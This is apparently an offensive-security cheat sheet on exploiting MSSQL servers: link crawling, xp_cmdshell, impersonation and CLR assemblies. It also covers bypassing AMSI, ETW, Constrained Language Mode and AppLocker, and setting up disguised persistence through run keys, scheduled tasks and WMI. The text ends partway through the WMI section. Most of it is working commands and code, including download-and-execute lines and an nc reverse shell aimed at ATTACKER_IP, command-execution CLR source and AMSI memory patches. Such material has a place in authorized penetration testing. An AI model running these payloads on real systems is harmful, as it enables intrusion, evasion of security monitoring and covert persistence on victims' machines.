MSSQL Server Exploitation & Trust Abuse#
Initial Discovery and Enumeration#
Load PowerUpSQL#
# From disk
Import-Module .\PowerUpSQL.psd1
# In-memory load
IEX (New-Object Net.WebClient).DownloadString('https://<ATTACKER_IP>/PowerUpSQL.ps1')
# Verify loaded
Get-Command -Module PowerUpSQL
# Alternative: Use without importing (dot-source specific functions)
. .\PowerUpSQL.ps1
Discover SQL Instances#
# Discover SQL instances in current domain via SPNs
Get-SQLInstanceDomain | Format-Table -AutoSize
# Discover in specific domain
Get-SQLInstanceDomain -DomainController <DC_FQDN> -Domain <DOMAIN> | Format-Table
# Discover via UDP broadcast (noisy, but finds non-SPN instances)
Get-SQLInstanceBroadcast
# Discover via SPN enumeration (stealthy)
Get-SQLInstanceScanUDP -ComputerName <TARGET_IP_RANGE>
# Find SQL instances you have access to
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | Where-Object {$_.Status -eq "Accessible"}
# Filter by specific SQL Server version
Get-SQLInstanceDomain | Get-SQLServerInfo | Where-Object {$_.SQLServerVersionNumber -like "15.*"} # SQL Server 2019
Test Connectivity and Gather Server Info#
# Test connection to specific instance
Get-SQLConnectionTest -Instance <SQL_SERVER_FQDN>
# Test multiple instances (threaded for speed)
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
# Gather detailed server information
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
# Check current privileges
Get-SQLServerInfo -Instance <SQL_SERVER_FQDN> | Select-Object Instance, CurrentLogin, IsSysadmin
# Enumerate databases
Get-SQLDatabase -Instance <SQL_SERVER_FQDN>
# Find interesting databases (non-default)
Get-SQLDatabase -Instance <SQL_SERVER_FQDN> | Where-Object {$_.DatabaseName -notin @('master','tempdb','model','msdb')}
# Check for common weak configurations
Invoke-SQLAudit -Instance <SQL_SERVER_FQDN> -Verbose
# Find databases with weak permissions
Get-SQLDatabase -Instance <SQL_SERVER_FQDN> | Get-SQLDatabasePriv
Enumerate Database Links#
# Enumerate linked servers
Get-SQLServerLink -Instance <SQL_SERVER_FQDN> -Verbose
# Show link details (including RPC Out status)
Get-SQLQuery -Instance <SQL_SERVER_FQDN> -Query "SELECT * FROM master..sysservers WHERE srvid > 0"
# Check if RPC Out is enabled (required for remote command execution)
Get-SQLQuery -Instance <SQL_SERVER_FQDN> -Query "SELECT name, is_rpc_out_enabled FROM sys.servers"
# Enumerate links recursively (follow the chain)
Get-SQLServerLinkCrawl -Instance <SQL_SERVER_FQDN> -Verbose
# Map complete link topology
Get-SQLServerLinkCrawl -Instance <SQL_SERVER_FQDN> |
Select-Object Instance, Version, Sysadmin, @{Name="Links";Expression={$_.DatabaseLinkName}}
# Alternative: Manual enumeration
Get-SQLQuery -Instance <SQL_SERVER_FQDN> -Query @"
SELECT
srv.name AS LinkedServer,
srv.product,
srv.provider,
srv.data_source,
srv.is_rpc_out_enabled,
login.remote_name AS RemoteLogin
FROM sys.servers srv
LEFT JOIN sys.linked_logins login ON srv.server_id = login.server_id
WHERE srv.is_linked = 1
"@
Enumerate Users and Roles#
# List all logins
Get-SQLQuery -Instance <SQL_SERVER_FQDN> -Query "SELECT name, type_desc, is_disabled FROM sys.server_principals WHERE type IN ('S','U','G')"
# Find sysadmin users
Get-SQLQuery -Instance <SQL_SERVER_FQDN> -Query "SELECT name FROM sys.server_principals WHERE IS_SRVROLEMEMBER('sysadmin', name) = 1"
# Check impersonation possibilities
Invoke-SQLAuditPrivImpersonateLogin -Instance <SQL_SERVER_FQDN> -Verbose
# Enumerate database users
Get-SQLQuery -Instance <SQL_SERVER_FQDN> -Query "USE <DATABASE>; SELECT name, type_desc FROM sys.database_principals WHERE type IN ('S','U','G')"
Credential Attacks#
SQL Authentication Brute Force#
# Test common credentials
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Username sa -Password 'Password123'
# Password spray against SQL instances
Invoke-SQLAuditWeakLoginPw -Instance <SQL_SERVER_FQDN> -Verbose
# With custom username/password lists
$users = Get-Content users.txt
$passwords = Get-Content passwords.txt
Get-SQLInstanceDomain | ForEach-Object {
foreach ($pass in $passwords) {
Get-SQLConnectionTest -Instance $_.Instance -Username "sa" -Password $pass
}
}
# NetExec/CrackMapExec for MSSQL
nxc mssql <TARGET> -u <USER> -p '<PASSWORD>' --local-auth
nxc mssql <TARGET_RANGE> -u users.txt -p passwords.txt --continue-on-success
# Impacket mssqlclient
impacket-mssqlclient <DOMAIN>/<USER>:<PASSWORD>@<SQL_SERVER>
impacket-mssqlclient -windows-auth <DOMAIN>/<USER>:<PASSWORD>@<SQL_SERVER>
Capture SQL Credentials#
# Find SQL connection strings in config files
Get-SQLQuery -Instance <SQL_SERVER_FQDN> -Query "EXEC xp_cmdshell 'findstr /si password *.xml *.ini *.txt *.config'"
# Search web.config files
findstr /si /n "connectionString" C:\inetpub\wwwroot\web.config
# PowerShell search
Get-ChildItem -Path C:\ -Include *.config,*.xml,*.ini -Recurse -ErrorAction SilentlyContinue |
Select-String -Pattern "password|pwd|connectionString" |
Select-Object Path, LineNumber, Line
Link Crawling and Remote Execution#
Abuse trusted SQL Server links to pivot through network and execute commands on remote systems.
Test Linked Server Connectivity#
-- Check link version
SELECT * FROM OPENQUERY([<LINKED_SERVER_NAME>], 'SELECT @@version');
-- Check current user on linked server
SELECT * FROM OPENQUERY([<LINKED_SERVER_NAME>], 'SELECT SYSTEM_USER');
-- Check if sysadmin on linked server
SELECT * FROM OPENQUERY([<LINKED_SERVER_NAME>], 'SELECT IS_SRVROLEMEMBER(''sysadmin'')');
-- List databases on linked server
SELECT * FROM OPENQUERY([<LINKED_SERVER_NAME>], 'SELECT name FROM sys.databases');
Enable xp_cmdshell on Linked Server#
Requirements: RPC Out enabled on link, sysadmin on remote server
-- Enable xp_cmdshell on linked server
EXECUTE('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [<LINKED_SERVER_NAME>];
EXECUTE('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [<LINKED_SERVER_NAME>];
-- Verify it's enabled
EXECUTE('SELECT * FROM sys.configurations WHERE name = ''xp_cmdshell''') AT [<LINKED_SERVER_NAME>];
-- PowerUpSQL method (automated)
Get-SQLServerLinkCrawl -Instance <SQL_SERVER_FQDN> -Query "EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE"
Execute OS Commands via Linked Server#
-- Basic command execution
SELECT * FROM OPENQUERY([<LINKED_SERVER_NAME>], 'EXEC master..xp_cmdshell ''whoami''');
-- Get hostname
SELECT * FROM OPENQUERY([<LINKED_SERVER_NAME>], 'EXEC master..xp_cmdshell ''hostname''');
-- Network enumeration
SELECT * FROM OPENQUERY([<LINKED_SERVER_NAME>], 'EXEC master..xp_cmdshell ''ipconfig /all''');
-- Download and execute payload
SELECT * FROM OPENQUERY([<LINKED_SERVER_NAME>],
'EXEC master..xp_cmdshell ''powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://<ATTACKER_IP>/payload.ps1'')"''');
-- Alternative: certutil download
SELECT * FROM OPENQUERY([<LINKED_SERVER_NAME>],
'EXEC master..xp_cmdshell ''certutil -urlcache -f http://<ATTACKER_IP>/nc.exe C:\Windows\Temp\nc.exe''');
-- Execute downloaded payload
SELECT * FROM OPENQUERY([<LINKED_SERVER_NAME>],
'EXEC master..xp_cmdshell ''C:\Windows\Temp\nc.exe <ATTACKER_IP> 443 -e cmd.exe''');
Deep Link Crawling (Multi Hop)#
-- Two-hop link crawling
SELECT * FROM OPENQUERY([<FIRST_LINK>],
'SELECT * FROM OPENQUERY([<SECOND_LINK>], ''SELECT @@version'')');
-- Three-hop example
SELECT * FROM OPENQUERY([<LINK1>],
'SELECT * FROM OPENQUERY([<LINK2>],
''SELECT * FROM OPENQUERY([<LINK3>], ''''SELECT @@version'''')'')');
-- Enable xp_cmdshell on second-hop server
EXECUTE('EXECUTE(''sp_configure ''''show advanced options'''', 1; RECONFIGURE;'') AT [<SECOND_LINK>]') AT [<FIRST_LINK>];
EXECUTE('EXECUTE(''sp_configure ''''xp_cmdshell'''', 1; RECONFIGURE;'') AT [<SECOND_LINK>]') AT [<FIRST_LINK>];
-- Execute command on second-hop server
SELECT * FROM OPENQUERY([<LINK1>],
'SELECT * FROM OPENQUERY([<LINK2>],
''EXEC master..xp_cmdshell ''''whoami'''''')');
-- PowerUpSQL automated crawling
Get-SQLServerLinkCrawl -Instance <SQL_SERVER_FQDN> -Query "EXEC master..xp_cmdshell 'whoami'" -Verbose
PowerUpSQL Automated Link Abuse#
# Crawl all links and execute command
Get-SQLServerLinkCrawl -Instance <SQL_SERVER_FQDN> -Query "EXEC master..xp_cmdshell 'whoami'" -Verbose
# Enable xp_cmdshell on all linked servers
Get-SQLServerLinkCrawl -Instance <SQL_SERVER_FQDN> -Query "sp_configure 'xp_cmdshell',1; RECONFIGURE" -Verbose
# Execute PowerShell payload via links
$payload = "IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER_IP>/shell.ps1')"
Get-SQLServerLinkCrawl -Instance <SQL_SERVER_FQDN> -Query "EXEC master..xp_cmdshell 'powershell -enc <BASE64_PAYLOAD>'" -Verbose
# Export link topology
Get-SQLServerLinkCrawl -Instance <SQL_SERVER_FQDN> | Export-Csv -Path sql_links.csv -NoTypeInformation
Advanced MSSQL Privilege Escalation#
Impersonation (EXECUTE AS)#
Execute queries as higher-privileged users if IMPERSONATE permission granted.
-- Check current user and privileges
SELECT SYSTEM_USER, USER_NAME(), IS_SRVROLEMEMBER('sysadmin');
-- Enumerate users you can impersonate
SELECT name FROM sys.server_principals WHERE type_desc = 'SQL_LOGIN';
-- Check impersonation permissions
SELECT
pe.permission_name,
pe.state_desc,
pr.name AS grantee,
pr2.name AS grantor
FROM sys.server_permissions pe
JOIN sys.server_principals pr ON pe.grantee_principal_id = pr.principal_id
LEFT JOIN sys.server_principals pr2 ON pe.grantor_principal_id = pr2.principal_id
WHERE pe.permission_name = 'IMPERSONATE';
-- Impersonate sa or sysadmin user
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');
-- Enable xp_cmdshell as impersonated user
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- Revert to original context
REVERT;
-- PowerUpSQL automated impersonation check
Invoke-SQLAuditPrivImpersonateLogin -Instance <SQL_SERVER_FQDN> -Verbose
-- Database-level impersonation
USE <DATABASE>;
EXECUTE AS USER = 'dbo';
SELECT USER_NAME(), IS_MEMBER('db_owner');
REVERT;
Trustworthy Database Privilege Escalation#
Databases with TRUSTWORTHY property can escalate to sysadmin via stored procedures.
-- Find trustworthy databases
SELECT name, is_trustworthy_on FROM sys.databases WHERE is_trustworthy_on = 1 AND name != 'msdb';
-- Check if you're db_owner on trustworthy database
USE <TRUSTWORTHY_DB>;
SELECT IS_MEMBER('db_owner');
-- Create stored procedure to add sysadmin
CREATE PROCEDURE sp_elevate
WITH EXECUTE AS OWNER
AS
BEGIN
EXEC sp_addsrvrolemember '<YOUR_USER>', 'sysadmin';
END;
GO
-- Execute procedure
EXEC sp_elevate;
-- Verify sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
-- PowerUpSQL automated check
Invoke-SQLAuditPrivTrustworthy -Instance <SQL_SERVER_FQDN> -Verbose
Server Configuration Privilege Escalation#
-- Check for ALTER SETTINGS permission (can enable xp_cmdshell)
SELECT
pe.permission_name,
pr.name
FROM sys.server_permissions pe
JOIN sys.server_principals pr ON pe.grantee_principal_id = pr.principal_id
WHERE pe.permission_name = 'ALTER SETTINGS';
-- If you have ALTER SETTINGS, enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
CLR Assembly Execution#
Load custom .NET assemblies into SQL Server for arbitrary code execution. Requires sysadmin or specific CLR permissions.
Enable CLR Integration#
-- Check if CLR is enabled
SELECT * FROM sys.configurations WHERE name = 'clr enabled';
-- Enable CLR
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'clr enabled', 1; RECONFIGURE;
EXEC sp_configure 'clr strict security', 0; RECONFIGURE; -- SQL Server 2017+
-- Verify
SELECT name, value_in_use FROM sys.configurations WHERE name IN ('clr enabled', 'clr strict security');
Create and Load CLR Assembly#
-- Drop existing assembly if present (cleanup)
DROP PROCEDURE IF EXISTS dbo.cmdExec;
DROP ASSEMBLY IF EXISTS clr_assembly;
GO
-- Create assembly from hex-encoded DLL
-- (DLL must be compiled with appropriate methods)
CREATE ASSEMBLY clr_assembly
FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000...
WITH PERMISSION_SET = UNSAFE;
GO
-- Link assembly to stored procedure
CREATE PROCEDURE dbo.cmdExec
@cmd NVARCHAR(4000)
AS EXTERNAL NAME clr_assembly.StoredProcedures.cmdExec;
GO
-- Execute OS command
EXEC dbo.cmdExec 'whoami';
EXEC dbo.cmdExec 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://<ATTACKER_IP>/shell.ps1'')"';
-- Cleanup
DROP PROCEDURE dbo.cmdExec;
DROP ASSEMBLY clr_assembly;
EXEC sp_configure 'clr enabled', 0; RECONFIGURE;
PowerUpSQL CLR Method#
# Create malicious CLR assembly (automated)
Invoke-SQLOSCmd -Instance <SQL_SERVER_FQDN> -Command "whoami" -Verbose
# Alternative: Install custom CLR
Install-SQLOSCLI -Instance <SQL_SERVER_FQDN> -Verbose
Invoke-SQLOSCLI -Instance <SQL_SERVER_FQDN> -Command "whoami"
Example C# CLR Assembly Source#
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.Diagnostics;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void cmdExec (SqlString execCommand)
{
Process proc = new Process();
proc.StartInfo.FileName = @"C:\Windows\System32\cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
# Compile CLR DLL (on Windows with .NET SDK)
csc /target:library /out:clr_assembly.dll clr_assembly.cs
# Convert to hex for SQL insertion
certutil -encodehex clr_assembly.dll clr_assembly.hex 0x
# Or use PowerShell
$bytes = [System.IO.File]::ReadAllBytes("clr_assembly.dll")
$hex = "0x" + [System.BitConverter]::ToString($bytes).Replace("-","")
Alternative Command Execution Methods#
OLE Automation Procedures#
-- Enable OLE Automation
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
-- Execute command via WScript.Shell
DECLARE @output INT;
DECLARE @result INT;
EXEC @result = sp_OACreate 'WScript.Shell', @output OUT;
EXEC @result = sp_OAMethod @output, 'Run', NULL, 'cmd /c whoami > C:\temp\output.txt', 0, TRUE;
EXEC @result = sp_OADestroy @output;
-- Read output
DECLARE @file INT;
DECLARE @text VARCHAR(8000);
EXEC sp_OACreate 'Scripting.FileSystemObject', @file OUT;
EXEC sp_OAMethod @file, 'OpenTextFile', @text OUT, 'C:\temp\output.txt', 1;
EXEC sp_OAMethod @text, 'ReadAll', @output OUT;
SELECT @output;
Agent Jobs (Requires SQLAgentUserRole)#
-- Check if SQL Server Agent is running
EXEC master.dbo.xp_servicecontrol 'QueryState', 'SQLServerAGENT';
-- Create malicious job
USE msdb;
EXEC sp_add_job @job_name = 'SystemMaintenance';
-- Add job step with OS command
EXEC sp_add_jobstep
@job_name = 'SystemMaintenance',
@step_name = 'ExecuteCommand',
@subsystem = 'CmdExec',
@command = 'powershell -c "IEX(New-Object Net.WebClient).DownloadString(''http://<ATTACKER_IP>/shell.ps1'')"';
-- Assign job to server
EXEC sp_add_jobserver @job_name = 'SystemMaintenance';
-- Execute job
EXEC sp_start_job @job_name = 'SystemMaintenance';
-- Check job status
EXEC sp_help_jobhistory @job_name = 'SystemMaintenance';
-- Cleanup
EXEC sp_delete_job @job_name = 'SystemMaintenance';
External Scripts (SQL Server 2016+ with R/Python)#
-- Check if external scripts enabled
SELECT * FROM sys.configurations WHERE name = 'external scripts enabled';
-- Enable external scripts
EXEC sp_configure 'external scripts enabled', 1; RECONFIGURE;
-- Execute Python command
EXEC sp_execute_external_script
@language = N'Python',
@script = N'import os; os.system("whoami")';
-- Execute R command
EXEC sp_execute_external_script
@language = N'R',
@script = N'system("whoami")';
Defense Evasion & Bypass Techniques#
AMSI (Anti-Malware Scan Interface) Bypass#
AMSI scans PowerShell, VBScript, JScript, and .NET assembly loads. Bypassing AMSI allows execution of malicious scripts without detection.
Classic AMSI Bypass (Often Detected)#
# Matt Graeber's original (widely signatured)
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Obfuscated version
[Ref].Assembly.GetType('System.Management.Automation.'+('Am' +'siUtils')).GetField(('am' + 'siInitFailed'),'NonPublic,Static').SetValue($null,$true)
Modern AMSI Bypass Techniques#
# Memory patching method (less detected)
$a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf = @(0);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)
# Reflection-based bypass
$ZQCUW = @"
using System;
using System.Runtime.InteropServices;
public class ZQCUW {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $ZQCUW
$LoadLibrary = [ZQCUW]::LoadLibrary("amsi.dll")
$Address = [ZQCUW]::GetProcAddress($LoadLibrary, "AmsiScanBuffer")
$p = 0
[ZQCUW]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
# Alternative: Force AMSI to fail initialization
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)
# Downgrade PowerShell version (bypasses AMSI)
powershell.exe -version 2
AMSI Bypass via COM Object#
# Register malicious COM object
$TypeDefinition = @"
using System;
using System.Runtime.InteropServices;
[ComVisible(true)]
[Guid("00000000-0000-0000-0000-000000000001")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
public interface IAmsiBypass {}
[ComVisible(true)]
[Guid("00000000-0000-0000-0000-000000000002")]
[ClassInterface(ClassInterfaceType.None)]
public class AmsiBypass : IAmsiBypass {}
"@
Add-Type -TypeDefinition $TypeDefinition
ETW (Event Tracing for Windows) Bypass#
ETW logs PowerShell script block logging, module loading, and command execution. Disabling ETW prevents telemetry collection.
Disable ETW Logging#
# Disable PowerShell ETW provider
[System.Reflection.Assembly]::LoadWithPartialName('System.Core').GetType('System.Diagnostics.Eventing.EventProvider').GetField('m_enabled','NonPublic,Instance').SetValue([System.Reflection.Assembly]::LoadWithPartialName('System.Management.Automation').GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static').GetValue($null),0)
# Shorter obfuscated version
$settings = [Ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','NonPublic,Static');
$val = $settings.GetValue($null);
$val['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0;
$val['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0;
# Patch ETW event write function
$eventProviderWrite = [System.Diagnostics.Tracing.EventProvider].GetMethod('EventWriteTransfer', [System.Reflection.BindingFlags]'NonPublic,Instance')
$eventProviderWrite.Invoke($null, @())
# Memory patching approach
$Kern32 = @"
using System;
using System.Runtime.InteropServices;
public class Kern32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $Kern32
$ntdll = [Kern32]::LoadLibrary("ntdll.dll")
$etwAddr = [Kern32]::GetProcAddress($ntdll, "EtwEventWrite")
$oldProtect = 0
[Kern32]::VirtualProtect($etwAddr, [uint32]5, 0x40, [ref]$oldProtect)
$patch = [byte[]](0xc3) # ret instruction
[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $etwAddr, 1)
Disable Script Block Logging#
# Disable via Group Policy settings cache
$GroupPolicySettings = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','NonPublic,Static').GetValue($null)
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0
# Alternative method
$settings = [System.Management.Automation.Utils].GetField('cachedGroupPolicySettings','NonPublic,Static')
if($settings) {
$val = $settings.GetValue($null)
$val['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0
$val['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0
}
# Verify script block logging is disabled
$ExecutionContext.SessionState.LanguageMode
Disable Module Logging#
# Disable PowerShell module logging
$GroupPolicySettings['ModuleLogging']['EnableModuleLogging'] = 0
$GroupPolicySettings['ModuleLogging']['ModuleNames'] = @()
Constrained Language Mode Bypass#
Constrained Language Mode restricts PowerShell functionality. Bypassing allows full language features.
# Check current language mode
$ExecutionContext.SessionState.LanguageMode
# Bypass via PowerShell downgrade (if v2 available)
powershell.exe -version 2 -command "Write-Host 'Bypassed'"
# Bypass via PSBypassCLM
# https://github.com/padovah4ck/PSBypassCLM
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PSBypassCLM.exe
# Bypass using COM objects
$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID("72C24DD5-D70A-438B-8A42-98424B88AFB8"))
$handle.GetType().GetMethod("Run").Invoke($handle, @("powershell -nop -c <COMMAND>"))
# Bypass via runspace
$ExecutionContext.SessionState.LanguageMode = "FullLanguage"
AppLocker Bypass#
AppLocker restricts executable files, scripts, and DLLs. Various bypass techniques exist.
Discovery#
# Check if AppLocker is enabled
Get-AppLockerPolicy -Effective
# Export policy for analysis
Get-AppLockerPolicy -Effective -Xml | Out-File C:\temp\applocker.xml
# Check writable paths
$paths = @("C:\Windows\System32\spool\drivers\color",
"C:\Windows\Tasks",
"C:\Windows\Temp",
"C:\Windows\tracing",
"C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys",
"C:\Windows\System32\spool\PRINTERS")
foreach($path in $paths) {
if(Test-Path $path) {
$acl = Get-Acl $path
Write-Host "$path - $($acl.AccessToString)"
}
}
Bypass Techniques#
# Execute from trusted locations (often whitelisted)
# Common trusted paths:
# - C:\Windows\System32\
# - C:\Program Files\*
# - C:\Windows\System32\spool\drivers\color\
# Copy payload to trusted writable location
copy payload.exe C:\Windows\System32\spool\drivers\color\payload.exe
C:\Windows\System32\spool\drivers\color\payload.exe
# Use alternate data streams (ADS)
type payload.exe > C:\Windows\Tasks\legit.txt:payload.exe
wmic process call create "C:\Windows\Tasks\legit.txt:payload.exe"
# Use trusted binaries (LOLBins)
# RegSvr32
regsvr32 /s /n /u /i:http://<ATTACKER_IP>/payload.sct scrobj.dll
# MSBuild
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe payload.xml
# InstallUtil
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U payload.exe
# RegAsm
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe /U payload.dll
# CMSTP
cmstp.exe /ni /s payload.inf
# Execute via script host in trusted location
wscript.exe C:\Windows\System32\payload.vbs
cscript.exe C:\Windows\System32\payload.js
Persistence Techniques#
Registry Run Keys#
Execute payload at user logon via registry keys.
# Current user persistence (HKCU)
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "OneDriveSync" -Value "C:\Users\Public\payload.exe" -Force
# Alternative registry locations (HKCU)
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce" -Name "Update" -Value "C:\temp\payload.exe"
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "C:\temp\payload.exe"
# System-wide persistence (HKLM - requires admin)
New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "WindowsDefender" -Value "C:\Windows\Temp\payload.exe" -Force
New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce" -Name "SystemUpdate" -Value "C:\temp\payload.exe"
# Service-based run key (HKLM)
New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\RunServices" -Name "ServiceHost" -Value "C:\Windows\System32\payload.exe"
# Alternative startup locations
# HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
# HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon (Userinit, Shell)
# HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
# Verify persistence
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
# Remove persistence (cleanup)
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "OneDriveSync"
Scheduled Tasks#
Create scheduled task to execute payload at specific trigger.
:: Create task for current user (runs at logon)
schtasks /create /tn "MicrosoftEdgeUpdate" /tr "C:\Users\Public\payload.exe" /sc onlogon /rl highest /f
:: System-level task (runs at system startup, requires admin)
schtasks /create /tn "WindowsUpdateCheck" /tr "C:\Windows\Temp\payload.exe" /sc onstart /ru SYSTEM /rl highest /f
:: Daily task at specific time
schtasks /create /tn "SystemMaintenance" /tr "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\payload.ps1" /sc daily /st 14:00 /ru SYSTEM /f
:: Task on user idle
schtasks /create /tn "BackgroundSync" /tr "C:\temp\payload.exe" /sc onidle /i 10 /rl highest /f
:: Task with multiple triggers
schtasks /create /tn "CloudSync" /tr "C:\temp\payload.exe" /sc onlogon /rl highest /f
schtasks /create /tn "CloudSync" /tr "C:\temp\payload.exe" /sc daily /st 09:00 /f
:: Hidden task (doesn't appear in Task Scheduler GUI easily)
schtasks /create /tn "\Microsoft\Windows\UpdateOrchestrator\SystemUpdate" /tr "C:\Windows\Temp\payload.exe" /sc onlogon /rl highest /f
:: Query task
schtasks /query /tn "MicrosoftEdgeUpdate" /v /fo list
:: Delete task (cleanup)
schtasks /delete /tn "MicrosoftEdgeUpdate" /f
PowerShell Scheduled Tasks#
# Create action
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\temp\payload.ps1"
# Create trigger (at logon)
$trigger = New-ScheduledTaskTrigger -AtLogOn
# Alternative triggers
$trigger = New-ScheduledTaskTrigger -AtStartup
$trigger = New-ScheduledTaskTrigger -Daily -At "3:00AM"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(5) -RepetitionInterval (New-TimeSpan -Minutes 30)
# Create principal (run as SYSTEM)
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
# Register task
Register-ScheduledTask -TaskName "WindowsDefenderUpdate" -Action $action -Trigger $trigger -Principal $principal -Description "Windows Defender signature update task"
# Hide task from GUI (modify XML)
$task = Get-ScheduledTask -TaskName "WindowsDefenderUpdate"
$task.Settings.Hidden = $true
$task | Set-ScheduledTask
# Verify task
Get-ScheduledTask -TaskName "WindowsDefenderUpdate" | Get-ScheduledTaskInfo
# Remove task
Unregister-ScheduledTask -TaskName "WindowsDefenderUpdate" -Confirm:$false
WMI Event Subscription#
Use WMI event consumers to execute payloads based on system events. Stealthier than scheduled tasks.
# Create event filter (trigger condition)
$filterName = "SystemStartupFilter"
$filter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance()
$filter.QueryLanguage = "WQL"
$filter.Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 320"
$filter.Name = $filterName
$filter.EventNamespace = "root\cimv2"
$filterResult = $filter.Put()
# Create consumer (action to execute)
$consumerName = "SystemMaintenanceConsumer"
